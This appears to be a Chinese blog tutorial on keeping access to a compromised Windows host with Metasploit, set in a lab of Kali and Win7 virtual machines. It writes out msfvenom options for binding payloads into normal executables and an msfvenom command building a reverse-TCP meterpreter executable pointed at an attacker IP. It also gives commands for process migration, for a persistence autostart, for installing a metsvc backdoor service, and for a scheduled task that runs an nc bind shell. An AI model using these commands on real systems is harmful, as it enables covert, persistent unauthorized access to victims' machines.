渗透测试框架权限维持

Metasploit权限维持

简单介绍下Metasploit,这是一个渗透测试平台,可以查找、利用、验证漏洞。与Metasploit的大部分交互式通过模块完成的,例如可以通过“auxiliary”模块进行信息收集,使用"exploit"模块进行漏洞利用,利用"payload"模块链接到shell。

生成木马
  1. 命令解释
-l, --list           <type>              列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload   <payload>       指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数)                                                    如果需要使用自定义的payload,请使用'-'或者stdin指定
      --list-options                     列出指定payload的标准,高级和规避选项  例如:msfvenom -p generic/shell_bind_tcp --list-options                                                                 将列出shell_bind_tcp这个payload的各种选项信息

-f, --format        <format>        指定输出格式(使用 --list formats 列出所有的格式)

-e, --encoding   <encoder>     要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
     --smallest                           使用所有可用的编码器生成尽可能小的有效负载

-a, --arch          <arch>            指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
     --platform    <platform>      指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)

-o, --out            <path>            将payload保存到文件中

-b, --bad-chars  <list>             指定不使用的字符集 例如:不使用'\x00\xff'这两个字符

-n, --nopsled     <length>        在payload上添加指定长度的nop指令

-s, --space        <length>        设定payload的最大长度    即生成的文件大小
     --encoder-space <length> 设定编码payload的最大长度(默认为-s的值)

-i, --iterations     <count>         对payload进行编码的次数

-c, --add-code    <path>           指定一个自己的win32 shellcode文件 

-x, --template      <path>          指定一个可执行程序 将payload捆绑其中 
                                                 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面

-k, --keep                                  针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用

-v, --var-name     <value>         指定用于某些输出格式的自定义变量名称

-t, --timeout         <second>      从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)

-h, --help                                    查看帮助

  1. 常见木马生成方法
    在这里插入图片描述
进程注入

pinjector.exe进行进程注入不会创建新的进程,隐蔽性比较高,很难被发现。

实例演示

环境:kali、虚拟机Win7

  1. 生成木马
    目标机IP:192.168.220.139
    攻击机IP:192.168.220.130
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.220.130 LPORT=1234 -f exe > shell.exe
    在这里插入图片描述

  2. 将木马上传服务器

  3. msfconsole中调用模块进行监听
    在这里插入图片描述

  4. 运行木马
    在这里插入图片描述

  5. 进程注入
    可以先查找进程然后再进行注入,这里使用更简单的方法,直接使用“post/windows/ manage/migrate”模块注入,它会自动寻找合适的进程注入,运行命令“run post/windows/manage/migrate”自动迁移进程。
    在这里插入图片描述可以发现我们一斤拿到靶机win7的shell了。
    补充:有些windows的命令无法在我们反弹到的shell中执行。

Persistence

通过Metasploit自带的Persistence模块可以设置启动项启动来进行权限维持,它的常用参数如下:
在这里插入图片描述
展示
在我们已经拿到meterpreter shell的前提下进行。
run persistence -P windows/x64/meterpreter/reverse_tcp -X -i 5 -p 12345 -r 192.168.220.130
在这里插入图片描述
在这里插入图片描述
exit退出shell后,设置监听端口,然后run,发现 不用重新上传木马也可以获取shell。
两者的差距在于,使用原来 生成的木马在 1234端口监听时,每次连接都需要用户重新点击木马使其执行,但是在使用了persistence后,在12345端口监听,我们不需要在重新上传木马,靶机也不需要再对木马进行操作 。

Metsvc

通过Metasploit自带的Metsvc模块可以在已经获得Shell的目标主机上,开启一个服务来提供后门的功能,常用命令如下;

run metsvc -A                ##自动安装后门

在这里插入图片描述
在靶机可以看到多了一个Meterpreter的服务。

ScheduleMe

ScheduleMe可以通过schtasks来创建计划任务,但是这需要system权限。scheduleme常用参数如下:
在这里插入图片描述
在meterpreter shell中使用getuid获取当前权限,使用getsystem获取system权限。
然后使用命令:run scheduleme -m 1 -e '/nc.exe' -o "-Ldp 4444 -e cmd.exe" #每分钟执行一次nc -Ldp 4444 -ecmd.exe
在kali中使用nc -v ip port进行连接。

Empire渗透测试框架做权限维持

原理大多同metasploit框架是一样的,只是使用不同罢了。出于菜鸟的考虑,还是先吃透一个框架吧。所以就先不搞Empire了。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值